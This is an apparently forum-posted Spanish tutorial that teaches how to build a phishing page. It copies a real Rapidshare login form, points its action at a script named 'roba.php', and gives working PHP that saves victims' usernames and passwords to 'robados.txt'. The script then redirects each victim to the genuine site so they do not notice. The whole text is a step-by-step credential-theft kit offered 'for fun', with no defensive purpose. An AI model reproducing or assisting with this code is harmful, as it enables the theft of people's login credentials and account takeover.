En este breve tutorial les enseñaré a hacer un pequeño Scam con el que podrán divertirse un poco. ¿Pero? ¿Qué es un Scam? Como lo defino yo es una página web trucha que actúa como real y así uno obtiene passwords.

1- Buscamos Cualquier web que uno tenga que registrarse. Cuando la encontramos, vamos a la parte de logins y la guardamos en el disco duro. Ejemplo:

https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi

Archivo >> Guardar Como… >> ACEPTAR

2- Supongamos que guardaste la web en el escritorio, lo que hay que hacer es buscar el archivo (*.htm), (loggin.asp), bueno de la página que guardaron y editarla con un archivo de texto, para ello le das clic derecho al índex que guardo cuando guardamos la web, y le damos clic a propiedades, que luego vas cambiar y buscamos el bloc de notas.

Ahora ya abierto el índex buscamos el  <form> que se encarga del login (recomiendo Teclear control b: y colocar "<form" sin comillas). Supongamos que la web es Rapidshare.

Tenemos algo así:

<form action="https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi" method="post"><table>
<tbody><tr><td>Login:</td><td><input name="login" type="text"></td></tr><tr><td>Password:</td><td><input name="password" type="password"></td></tr>
<tr><td colspan="2" align="center"><input value="SSL-encrypted Login" type="submit"></td></tr></tbody></table></form>

3- Vemos que el input login es el del nombre de usuario y el input password es el del password. Simplemente hay que cambiar donde pone action por "action=roba.php"

Creamos roba.php y lo editamos con un archivo de texto el mismo bloc de notas, el código debería quedar así:

<?php
$login=$_POST['login']; #donde 'login' sería el nombre de la variable que tiene el nick en el form.
$pass=$_POST['password']; #ídem que en el anterior.
$guardar=fopen("robados.txt",a);
fwrite($guardar,"
".$login."
".$pass);
fclose($guardar);

#ahora usamos un meta refresh para redireccionar a la pagina original y que no sospechen Tongue echo

"<META HTTP-EQUIV='refresh' CONTENT='1; url=https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi'>";
?>

Y ya todos los users y sus passwords serán guardadas automáticamente en el archivo y lo podrás ver en tu hosting por el link, o el mismo host abres el archivo. Y creo que eso seria todo...